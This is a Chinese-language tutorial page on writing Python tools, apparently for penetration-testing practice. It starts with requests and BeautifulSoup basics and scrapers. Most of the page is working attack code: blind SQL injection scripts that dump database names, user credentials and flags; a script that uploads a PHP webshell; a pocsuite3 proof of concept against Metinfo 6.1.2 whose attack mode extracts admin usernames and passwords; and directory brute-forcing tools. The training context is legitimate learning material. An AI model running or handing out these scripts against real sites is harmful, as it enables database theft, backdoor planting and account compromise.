跳到主要内容

python工具编写

requests模块

  • requests是使用Apache2 licensed许可证的HTTP库。比Urllib2模块更简洁
  • Request 支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码

image-20221025172214261

基本使用

pip install requests
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'http://www.baidu.com'
proxy = {'http':'127.0.0.1:8080'}
req = requests.get(url=url,headers=header,proxies=proxy)
req.encoding=req.apparent_encoding #解决中文乱码
print(req.text)

爬取图站图片

示例模板

import requests
import re

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'https://xxx.com/'

def get_imgurl(url):
imgtext = requests.get(url=url,headers=headers).text
#print(imgtext)
imgurls = re.findall(r'<img width="300" height="300" src="(.*?)" class="attachment-thumbnail size-thumbnail wp-post-image"',imgtext)
#print(imgurls)
return imgurls


def get_imgcontent(url):
resp = requests.get(url=url)
imgcontent = resp.content
return imgcontent

def main():
imgurls = get_imgurl(url)
i=1
for imgurl in imgurls:
print(imgurl)
imgcontent = get_imgcontent(imgurl)
#print(imgcontent)
imgname=str(i)
with open('img/'+imgname+'.jpg','wb') as f:
f.write(imgcontent)
print(imgname+'下载成功!!!')
i+=1

if __name__ == '__main__':
main()

针对需要登录的网站进行爬取

示例模板

# -*- coding: UTF-8 -*-
import requests
import re

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
url = 'http://192.168.1.1/index.php/Study/studydetail?taskid=1787'
cookie = {
"ci_session_user_center":"pab2nl88q98nt218v1ctukdvckribhdl",
"px_session":"c6eccc94c4737cc3675330d1490dc288a6003830"
}
session = requests.session()


def main():
text = session.get(url=url,headers=headers,cookies=cookie).text
#print(text)
webtitle = re.findall(r'<div class="courseName" title="(.*?)">',text)
webtitle = ''.join(webtitle)
#print(''.join(webtitle)+'\n')
webtext = re.findall(r'<p class="curseIntMsg">(.*?)</p>.*<div>',text,re.S)
webtext = ''.join(webtext)
#print(''.join(webtext))
with open('web.txt','a+') as f:
f.write(webtitle+'\n\n')
f.write(webtext)
print('web.txt 获取成功!!!')


if __name__ == '__main__':
main()

布尔盲注脚本

该脚本针对于sqli-libs8

import requests

url = 'http://192.168.20.146/sqlilab/Less-8/?id=1'

def flag(getpayload):
flag = ""
for a in range(1,200):
for b in range(32,126):
#print(url+payload)
payload = getpayload.format(a,b)
#print(url+payload)
res = requests.get(url=url+payload)
res = res.text
if 'You are in...........' in res:
flag +=chr(b)
#payload=payload+i
print(flag)
break
if b == 125:
return

if __name__ == "__main__":
db = "%27%20and%20if(ascii(mid((database()),{0},1))={1},1,0)%23"
table = "%27%20and%20if(ascii(mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where+\
%20table_schema=database()),{0},1))={1},1,0)%23"
column = "%27%20and%20if(ascii(mid((select%20group_concat(column_name)%20from%20information_schema.columns%20where+\
%20table_schema=database()),{0},1))={1},1,0)%23"
dump = "%27%20and%20if(ascii(mid((select%20group_concat(username,%27%3a%27,password)%20from%20users),{0},1))={1},1,0)%23"
flag(dump)

示例二

import requests
import string
payload = "%26%26if((ascii(right(left((seLect/**/flag/**/fRom/**/flag),{0}),1))={1}),1,0)"
flag = ""
url = 'http://172.16.12.2/get6.php?id=1'
for a in range(0,26):
for b in range(45,125):
payload = "%26%26if((ascii(right(left((seLect/**/flag/**/fRom/**/flag),{0}),1))={1}),1,0)".format(a,b)
x = requests.get(url=url+payload)
res = x.text
if 'Dumb' in res:
flag +=chr(b)
print(flag)

时间盲注脚本

示例一,针对于CVE-2022-24124

import requests
import string

url = 'http://hostname/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field='

def flag():
flag = ""
for a in range(1,100):
for b in range(45,126):
#print(url+payload)
payload = "if(ascii(mid((select flag from flag),{0},1))={1},sleep(2),0)".format(a,b)
#print(url+payload)
res = requests.get(url=url+payload)
#res = x.text
if res.elapsed.seconds > 1.8:
flag +=chr(b)
#payload=payload+i
print(flag)
break
if b == 125:
return
def main():
flag()


if __name__ == "__main__":
main()

示例二

import requests
import string

url = "http://192.168.20.146/sqlilab/Less-9/?id=1"

def timeout(url):
try:
requests.get(url=url,timeout=1)
except Exception as a:
return "timeout"


def main():
#print(string.printable)
flag = ''
for i in range(1,100):
for s in string.ascii_lowercase:
payload = f"%27%20and%20if(mid(database(),{i},1)='{s}',sleep(2),1)%23"
#print(payload)
if timeout(url+payload) == "timeout":
flag += s
print(flag)
break
if s == 'z':
return

if __name__ == "__main__":
main()

文件上传

示例脚本,需要根据实际进行修改

import requests

header = \
{
'Host': '172.16.12.2'
,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'
,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'
,'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
,'Accept-Encoding': 'gzip, deflate'
,'Origin': 'http://172.16.12.2'
,'Referer': 'http://172.16.12.2/'
,'Upgrade-Insecure-Requests': '1'
}


def fileupload(url,rname,fname):
files = {'file':(str(rname),open(fname,'rb'),'image/gif'),'submit':(None,'submit')}
#print(files)
proxy={"http":"http://127.0.0.1:8080"}
resp=requests.post(url,files=files,headers=header,proxies=proxy)
#print(resp.text)
curl=url.replace('upload_4.php','')+'upload/'+rname
#print(curl)
r=requests.get(curl)
if r.status_code == 200:
print('上传的后门密码为cmd,访问路径为:'+curl)


def main():
url='http://172.16.12.2/upload_4.php'
fileupload(url,'shell.php','shell.gif')


if __name__ == "__main__":
main()

files={文件上传的参数名:(上传的文件名,上传的文件内容,上传content-type值),提交表单的参数名:(None,提交按钮的值)}

Python BeautifulSoup

bs4 全名 BeautifulSoup,是编写 python 爬虫常用库之一,主要用来解析 html 标签

BeautifulSoup初始化

pip install bs4
from bs4 import BeautifulSoup
soup = BeautifulSoup("<html>A Html Text</html>", "html.parser")
soup.prettify() #格式化输出整个内容,不加()也可

两个参数:第一个参数是要解析的html文本,第二个参数是使用那种解析器,对于HTML来讲就是html.parser,这个是bs4自带的解析器

基本使用

from bs4 import BeautifulSoup
html_doc = "<html>xxx</html>"
res = BeautifulSoup(html_doc,'html.parser')

print(res.a) #获取第一个a标签的内容
print(res.a.text) #获取标签内文本
print(res.a.attrs) #获取标签内属性,以字典的形式返回
print(res.a.attrs.get('href')) #获取指定属性值
print(res.a.get('href')) #获取指定属性值
for i in res.p.children:
print(i) #获取p标签内的所有子节点
print(res.p.contents) #获取标签内部所有的元素,以数组形式返回

利用find方法

只能找符合条件的第一个 该方法的返回结果是一个标签对象

print(res.find(name='p')) #查找指定标签名的标签,默认只找符合条件的第一个
print(res.find(name='p', id='title')) #查找具有某个特定属性的标签 默认只找符合条件的第一个
print(res.find(name='p', class_='title')) #为了解决关键字冲突 会加下划线进行区分
print(res.find(name='p', attrs={'class': 'title'})) #利用attrs参数避免冲突

利用find_all方法

查找所有符合条件的标签 该方法的返回结果是一个列表

print(res.find_all('a'))  #查询某一个标签,查找的结果是一个列表

利用select方法

本质利用css选择器 该方法的返回结果是一个列表

print(res.select('.title')) #查找class含有title的标签
print(res.select('.title b')) #查看class含有title标签内部所有的后代span
print(res.select('#title')) #查找id等于title的标签

编写适用于pocsuite3的POC模块

下列示例适用于针对Metinfo的盲注

编写POC(metinfo_POC.py)如下:

from pocsuite3.api import Output,register_poc,requests,POCBase


class BluecmsSqliCheck(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' # 默认为1
author = 'bananaYH' # PoC作者的大名
vulDate = '2022-10-28' # 漏洞公开的时间,不知道就写今天
createDate = '2022-10-28' # 编写 PoC 的日期
updateDate = '2022-10-28' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'Metinfo 注入漏洞 POC' # PoC 名称
appPowerLink = 'https://www.metinfo.cn/' # 漏洞厂商主页地址
appName = 'Metinfo' # 漏洞应用名称
appVersion = '6.1.2' # 漏洞影响版本
vulType = 'SQL Injection' # 漏洞类型,类型参考见 漏洞类型规范表
desc = '''
Metinfo admin/index.php文件中的id参数会带入SQL语句进入数据库执行导致SQL注入,造成数据库信息泄露
'''
# 漏洞简要描述
samples = ['http://172.16.12.2/admin/index.php'] # 测试样列,就是用 PoC 测试成功的网站
install_requires = []
# PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写

def printresult(self, result): # 定义输出结果方法
output = Output(self) # 实例化Output类
if result: # 判断result传参是否有内容
output.success(result) # 利用output对象的success方法输出result结果
else:
output.fail('target is not vulerable!')
# 利用output对象的failed方法输出target is not vulerable!
return output # 返回output对象,不返回就没有输出,即验证失败


def _verify(self):
result = {}
payload = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1+\
&para139=1&para140=1&id=42%20and%201=2'
#定义payload
target = self.url #从POCBase类中获取url
response = requests.get(url=target+payload)
#通过pocsuite.api的requests发送请求
#print(response.text)
if '反馈已经被关闭' in response.text:
result['VerifyInfo'] = {}#定义结果输出key值 参考结果返回规范
result['VerifyInfo']['URL']= target#返回并输出target url
result['VerifyInfo']['PAYLOAD'] = payload #返回输出payload
return self.printresult(result)#调用parse_output方法输出结果


def _attack(self):
def dbname(target,pay):
name = ""
arr = "abcdefghijklmnopqrstuvwxyz0123456789-_\{\}"
for num in range(1,100):
for i in arr:
i = ord(i)
payload = pay+f',{num},1))={i}' # 定义payload
response = requests.get(url=target + payload) # 通过pocsuite.api的requests发送请求
#print(response1.text)
if '验证码错误' in response.text:
name+=chr(i)
print(name)
break
if i == 125:
return payload,name
#return self._verify()#定义attack方法,未定义实质性攻击payload直接调用验证方法
result = {}
target = self.url
payload1 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1+\
&para139=1&para140=1&id=42%20and%20ascii(mid((select%20database())'
payload2 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1+\
&para139=1&para140=1&id=42%20and%20ascii(mid((select%20group_concat(admin_id)%20from%20met_admin_table)'
payload3 = '?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=1&para186=1&para138=1+\
&para139=1&para140=1&id=42%20and%20ascii(mid((select%20group_concat(admin_pass)%20from%20met_admin_table)'
payload1,redbname = dbname(target,payload1)
payload2,username = dbname(target,payload2)
payload3,password = dbname(target,payload3)

result['VerifyInfo'] = {} # 定义结果输出key值 参考结果返回规范
result['VerifyInfo']['URL'] = target
result['VerifyInfo']['PAYLOAD1'] = payload1
result['VerifyInfo']['DBNAME'] = redbname
result['AdminInfo'] = {}
result['AdminInfo']['PAYLOAD2'] = payload2
result['AdminInfo']['USERNAME'] = username
result['AdminInfo']['PAYLOAD3'] = payload3
result['AdminInfo']['PASSWORD'] = password
return self.printresult(result) # 调用parse_output方法输出结果


register_poc(BluecmsSqliCheck)
#调用register_poc方法注册BluecmsSqliCheck

运行脚本

pocsuite -r metinfo_POC.py -u http://172.16.12.2/admin/index.php --attack

image-20221031204510349

目录爆破工具编写

单线程

import sys
import requests

proxy = {'http':'http://127.0.0.1:8080'}
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'}

def dirbrute(url,fname):
with open(fname, 'r') as f:
dicts = f.readlines()
for dirdict in dicts:
#print(dirdict)
resp = requests.get(url+dirdict.strip('\n'),headers = header,timeout=5)
#print(resp.text)
if resp.status_code != 404:
print(resp.status_code,resp.url)


def printbanner():
print(' _ _ _ _ ')
print(' __| (_)_ __| |__ _ __ _ _| |_ ___ ')
print(" / _` | | '__| '_ \| '__| | | | __/ _ \\")
print('| (_| | | | | |_) | | | |_| | || __/')
print(' \__,_|_|_| |_.__/|_| \__,_|\__\___|')
print(' ')
print('Author:IChunQiu')


if __name__ == "__main__":
printbanner()
if len(sys.argv) == 3:
url = sys.argv[1]
txt = sys.argv[2]
#print(url)
#print(txt)
else:
print('UseTips:python dirbrute.py http://127.0.0.1/ dict.txt')
dirbrute(url,txt)

多线程

import threading
import queue
import time
import requests
import sys

"""
1.编写主线程运行内容
接收参数,打开文件并添加到队列,创建子线程,运行子线程
2.定义子线程运行内容
从队列取出字典拼接url发送get请求
判断请求相应状态码为非404,打印输出状态码|url
"""


proxy = {'http':'http://127.0.0.1:8080'}
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'}

q = queue.Queue() #从queue模块中实例话q对象

def banner():
print(' _ _ _ _ ')
print(' __| (_)_ __| |__ _ _ ___| |_ ___ _ __ ')
print(' / _` | | \'__| \'_ \| | | / __| __/ _ \ \'__\|')
print('| (_| | | | | |_) | |_| \__ \ || __/ | ')
print(' \__,_|_|_| |_.__/ \__,_|___/\__\___|_| ')
print(' ')


def dirffuzz(url):
while not q.empty():
fuzzdict = q.get().strip('\n')
resp = requests.get(url+fuzzdict,headers=header,proxies=proxy,timeout=5)
if resp.status_code != 404:
print(resp.status_code,'|',resp.url)


if __name__ == "__main__":
start_time = time.time()#线程启动时间
if len(sys.argv)<4:
banner()
print('ToolsUseTips:python dirbuster.py http://127.0.0.1/ fuzz.txt 20')
sys.exit()#如果参数少于4,就输出以上使用帮助,并退出脚本执行
banner()
url = sys.argv[1]
fuzz = sys.argv[2]
threadnum = sys.argv[3]
print(url,fuzz,threadnum)
for dir in open(fuzz):#通过open打开传入的文件,通过for循环将每行内容放入队列
q.put(dir)
for i in range(int(threadnum)):#通过for循环创建多个子线程
t = threading.Thread(target=dirffuzz,args=(url,))#实例化线程对象,指定子线程运行的函数和传参
t.start()#运行子线程
#t.join()